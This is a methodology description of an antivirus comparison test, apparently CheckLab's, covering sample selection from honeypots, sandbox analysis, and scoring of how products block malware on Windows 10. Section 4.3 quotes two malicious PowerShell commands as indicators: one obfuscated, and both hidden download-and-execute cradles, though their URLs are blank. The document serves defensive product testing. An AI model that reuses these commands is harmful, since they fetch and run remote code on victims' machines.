Methods of carrying out automatic tests

In comparative tests all products are evaluated in the same working environment. An operating system, additional tools, and installed software must be unchangeable. Currently, there are no such products which by way of information technology evolution wouldn’t need access to the Internet for the appropriate functioning. Such access should be guaranteed to all solutions. Communication with the cloud of a developer, uploading malware for analysis, downloading information about threats from a global virus database, and faster access to metadata, these are just a few benefits of access the Worldwide Web.

1. General information

Several years ago, a testing procedure was very primitive. On the basis of collected virus samples, results were obtained from on-demand tests, i.e. scanning on demand or proactive tests where a product weren’t updated over a period of time. These days, under certain conditions, such procedures can be interesting, for example, when comparing scanners. In the age of detection technology, rootkits, fileless viruses, and monitoring a virus life cycle on the basis of a machine learning, on-demand testing method is ineffective. Detection of threats on the basis of virus definitions is an old technique of detecting known attacks. Currently, it serves more as support than being a protection core.

Information exchange is one of the key steps of every test — it directly concerns a developer. By delegation of detailed logs it’s possible to recognize errors that aren’t necessarily a result of wrong methods. There are situations where a virus sample that infiltrates a machine won’t perform any malicious actions (for example, when malware was programmed to infect computers with a specific software installed, operating system architecture, or geographical area). On the other hand, a tested product is intended to block harmful actions. If a virus haven’t introduced malicious modifications into a system, it’s assumed that an antivirus application had acted in accordance with assumptions of a developer. In such situations, cooperation with developers offers benefits for both sides. In our „Advanced In-The-Wild Malware Tests”, we select only such malware that will effectively infect Windows 10.

Trying to faithfully recreate a user’s behavior and malware, we have developed tools to help us automate a process of testing products. Results we present to Internet users, are unique on a global level. In order to keep transparency and recognition among our readers, we share significantly more data than any other organization that carries out professional tests of security solutions.

2. Advanced In-The-Wild Malware Test

A test that simulates a user’s behavior and malware is the most beneficial  from the perspective of Internet users and developers. Thanks to honeypots, we obtain a new collection of viruses for testing every day.

Before every sample goes to machines with security products installed, it’s thoroughly analyzed. We have to make sure that only 100% malicious samples are included in tests. A situation when a virus won’t operate in a system, because it was programmed for other geographical area, will never happen in our tests. Readers and developers are ensured that malware which was qualified for tests will be able to really infect operating systems, regardless of which part of the world it comes from.

Before a potentially harmful sample is qualified for tests, one of the components of a testing system checks if malicious software certainly introduces unwanted modifications.  For this purpose, every virus is analyzed for 15 minutes. The human factor excluded from tests makes it impossible to ascertain whether, for example, malware will finish its activity after 60 seconds. We must establish some time threshold after which we stop an analysis. We are aware that there’s malicious software that can delay its launch up to several hours before it will be activated. It can also listen to connections with C&C server on an ephemeral port. There were also situations when malware was programmed to infect a specific application, or it was waiting for a website to be opened. We took every effort to ensure that our tests are as close to reality as possible, and samples which are “unreliable” won’t be included in a test virus database.

After analyzing every potentially malicious sample, logs from the activity of malware are exported to the outer part of the testing system. On the basis of the data gathered, developed algorithms decide whether a particular sample is certainly harmful. We publish part of the information from an analysis on the CheckLab’s website. Detailed data are shared with developers.

3. The procedure algorithm of „Advanced In-The-Wild Malware Test” (AVMT)

The algorithm of carrying out tests from A to Z.

4. Selecting samples for tests

4.1. Every 24 hours, the system downloads malware collected in the past 24 hours from all honeypots.

4.2. Every sample goes to the next subsystem. Taking advantage of the SHA-512 hash function, duplicates are searched. This way, a sample collision doesn’t occur, so two identical viruses will never be qualified for tests.

4.3. Before every sample is added to a virus collection, it has to go through a detailed verification. Each of them is run in the test system without protection software in order to find potentially unwanted indicators. After 15 minutes, on the basis of logs collected by one of the components of the testing system, an algorithm decides based on over 100 rules whether malware should be qualified for tests. The more indicators, the more likely that a sample poses a threat to data integrity and the operating system security. Only malicious file that are characterized by suspicious indicators will be made available to tests. In other words, a virus that among others: modifies system parameters, encrypt files, manipulates registry keys and values, runs malicious scripts, loads harmful DLLs to processes, is treated as “useful”. The remaining samples aren’t included in tests, and are permanently deleted.

Examples of indicators which determine malicious changes introduced into a system:

Running the powershell.exe process with any parameter:

cMd /c"poweRSheLL -NoniNTeRACtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen "do{sleep 25;(.(\"{2}{0}{1}\" -f'-o','bject','new') (\"{1}{3}{5}{0}{2}{4}\" -f't','syst','.webclie','em','nt','.ne')).('d'+'ow'+'nloadfil'+'e').Invoke('','%localappdata%.exe')}while(!$?);&(\"{0}{2}{1}\"-f'star','ss','t-proce') '%localappdata%.exe'""

powershell.exe -nop -w hidden -c $H=new-object net.webclient;$H.proxy=[Net.WebRequest]::GetSystemWebProxy();$H.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX$H.downloadstring(‚’);

Editing keys in the registry:


An attempt to edit HOSTS file:


An attempt to remove or change files in a location:


Running a process that points to malware activity:


Running a task:


4.4. Return to the beginning, restoring a snapshot , and an analysis of another malware sample.

5. Test security products

5.1. Every morning, the testing system starts up all machines with protection products installed. Within 30 minutes, virus signature databases or protection product files are updated. Next, all machines are rebooted and shut down again.

5.2. After ascertaining that machines with protection products installed are ready for tests, snapshots of all systems are created.

5.3. All systems with protection products installed are booted.

5.4. On all machines, malware sample qualified for tests is simultaneously downloaded via the Google Chrome browser with pre-generated URL address, different for every malware sample.

5.5. If malicious software is blocked at the early stage (in a browser or after saving on disk in a source folder), it will be marked in a database with a dedicated identifier, and the further analysis isn’t required. In the other case, the following actions are performed.

5.6. If malicious software is detected and stopped by a protection product in the process of moving from a source folder to a target folder, it will be marked with a dedicated identifier, and the further analysis isn’t required. In the other case, the following actions are performed.

5.7. A virus is run, if malware isn’t detected by a protection product in a source folder. After 15 minutes from the launch, detailed logs are generated from the activity of malware in the system.

5.8. Detailed logs from the activity of malware are transferred to the testing subsystem which looks for matching indicators corresponding to blocking a virus by a protection product. Potentially dangerous indicators that are designed for recording an infection of Windows 10 are also searched.

5.9. On the basis of necessary information transferred to a database, a visualization of protection tests results and analysis of malware on a website is prepared.

5.10. Return to the beginning. Detection of a web address from which another virus sample is downloaded, and restoring all systems to the state before the infection.

6. Checking results

Based on the following criteria, we are certain that malware was stopped:

6.1. If malware was blocked on the browser level, it’s marked with such identifier. The further analysis isn’t required.

6.2. If malware was blocked on the operating system level, it’s marked with such identifier. The further analysis isn’t required.

6.3. Rules developed for every protection product decide about detection of a virus by proactive and behavioral technologies after its launch. Results depends on collected logs that informs whether a threat was quarantined or blocked, among others by a firewall module, cloud protection, sandbox, or IDS, IPS modules. Examples of such indicators:

Blocking a malicious website by the Avira product:


Running a virus in the Comodo Internet Security sandbox:


Changing a state of the system for the Webroot antivirus:


7. Additional configuration of systems, and information about tested products

7.1. Tests are carried out in the Windows 10 Pro x64 system.

7.2. The user account control (UAC) is disabled, because the purpose of the tests is to check a protection effectiveness of a product against harmful software and not a reaction of the testing system to Windows messages.

7.3. Windows 10 contains additional software installed: an office suite, document browser, email client, and other tools and files that simulate a normal working environment.

7.4. Automatic updates of Windows 10 are disabled. Due to the complicated process and the possibility of a malfunction, Windows 10 is updated every few weeks under close supervision.

7.5. Security products are updated one time within a day. Before tests are run, virus databases and protection product files are updated. This means that the latest versions of protection products are tested every day.